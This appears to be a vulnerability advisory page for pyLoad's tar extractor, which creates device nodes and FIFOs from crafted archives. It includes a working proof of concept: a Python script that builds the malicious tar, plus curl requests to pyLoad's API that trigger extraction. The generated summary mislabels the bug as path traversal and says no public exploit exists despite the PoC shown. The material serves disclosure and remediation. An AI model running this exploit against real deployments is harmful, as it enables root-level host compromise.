# GHSA-fr26-jjhm-638c: pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)

> Low-privileged users can trigger archive extraction to create device nodes, enabling root privilege escalation and host compromise in pyLoad.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 9 Oct 2026

## What is GHSA-fr26-jjhm-638c?

GHSA-fr26-jjhm-638c is a path traversal vulnerability in pyload-ng, published on 9 Oct 2026. Any signed-in user can exploit it over the network, with no action from the victim.

### Official description

### Summary

`UnTar._safe_extractall` — the hardening added for GHSA-mvwx-582f-56r7 — validates member
**names** and symlink/hardlink **targets**, but never checks member **types**, and calls
`tarfile.extractall` without a `filter=`. On Python < 3.14 the default extraction filter is
`fully_trusted`, so a crafted tar containing device or FIFO entries makes pyLoad create
them on disk. When pyLoad runs as root (the official Docker deployment), a block-device
member grants raw disk access — full host compromise — reachable by any low-privileged user
who can trigger archive extraction (ADD to supply an archive, STATUS to invoke
`ExtractArchive.extract_package`).

### Details

```python
# plugins/extractors/UnTar.py:69-79
for member in tar.getmembers():
    if not is_within_directory(...) or <symlink/hardlink target checks>:   # names/links only
        raise ArchiveError(...)
tar.extractall(path, members, numeric_owner=numeric_owner)   # no filter=
```

No `member.isdev()` / `ischr()` / `isblk()` / `isfifo()` check exists, and the pre-validation
in `plugins/base/extractor.py:191-263` is likewise name-only. Python's tarfile only defaults
to a safe filter in 3.14; supported runtimes (3.9–3.13) honor `mknod` for euid=0 and create
FIFOs for any euid.

### PoC

```bash
BASE=http://127.0.0.1:8100
# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member
python3 - <<'EOF'
import tarfile, io
t = tarfile.open('dev.bin','w')          # name it *.bin so UnTar (content-sniffed) claims it
t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))
i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666
t.addfile(i)
f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE
t.addfile(f); t.close()
EOF

# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,
# then trigger extraction
curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \
  -H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}'
curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \
  -H 'Content-Type: application/json' \
  -d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}'

ls -l <extract dir>
# → crw-rw-rw- 1 root root 1, 3 nulldev      (character device created)
# → prw-r--r-- 1 root root     pipe          (FIFO created)
# → -rw-r--r-- 1 root root     marker.txt
```

Negative control: the same flow with a `../evil` traversal member is rejected
(`ArchiveError: Attempted path traversal in archive`) and nothing is extracted — the
GHSA-mvwx name filter works; the gap is member-**type**-specific. (Note: when the 7z binary
is present, `.tar`-named files are claimed by SevenZip first by extension; the UnTar path is
reached via non-mapped names — as above — content-sniffed containers, or when 7z is
absent/fails.)

### Impact

With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary
paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion),
or set special bits; non-root deployments still get FIFOs and node entries in
user-accessible trees.

### Remediation

In `_safe_extractall`, reject (or skip) every member that is not a regular file, directory,
or safe link — e.g. `member.isdev() or isfifo()` → `ArchiveError` — and pass
`filter="data"` (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply
the same member-type validation in the pre-extraction validator so all extractors share it.

### References

- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated,
  member types not).

## Which versions are affected by GHSA-fr26-jjhm-638c?

2 open source packages ship an affected version, including pyload-ng.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `pyload-ng` | PyPI | All versions to 0.5.0b3.dev101 | None |
| `pyload-ng` | PyPI | All versions to 0.5.0b3.dev101 | None |

## How do I fix GHSA-fr26-jjhm-638c?

No fix has been published for GHSA-fr26-jjhm-638c yet. Limit exposure of the affected software until one is available.

## Is GHSA-fr26-jjhm-638c being exploited?

There is no known exploitation of GHSA-fr26-jjhm-638c in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-fr26-jjhm-638c and fix it if it is affected.

What it is: GHSA-fr26-jjhm-638c is a path traversal vulnerability in pyload-ng, published on 9 Oct 2026. Any signed-in user can exploit it over the network, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-fr26-jjhm-638c in the wild and no public exploit code.

Affected packages and fixed versions:
- pyload-ng (PyPI): affected all versions up to 0.5.0b3.dev101; no fix listed
- pyload-ng (PyPI): affected all versions up to 0.5.0b3.dev101; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-fr26-jjhm-638c/ (Markdown: https://insights.sbomify.com/GHSA-fr26-jjhm-638c/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-fr26-jjhm-638c

---
From sbomify Insights: https://insights.sbomify.com/GHSA-fr26-jjhm-638c/
Summaries are generated and may contain mistakes; the official description above is the record.